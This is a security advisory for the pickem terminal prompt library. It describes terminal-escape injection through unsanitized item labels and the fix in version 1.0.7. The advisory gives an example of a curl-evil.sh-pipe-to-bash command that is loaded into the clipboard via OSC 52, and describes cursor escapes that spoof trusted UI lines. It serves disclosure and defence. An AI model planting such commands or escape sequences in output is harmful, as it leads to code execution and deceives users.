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GHSA-8qx3-8gm5-9cj2
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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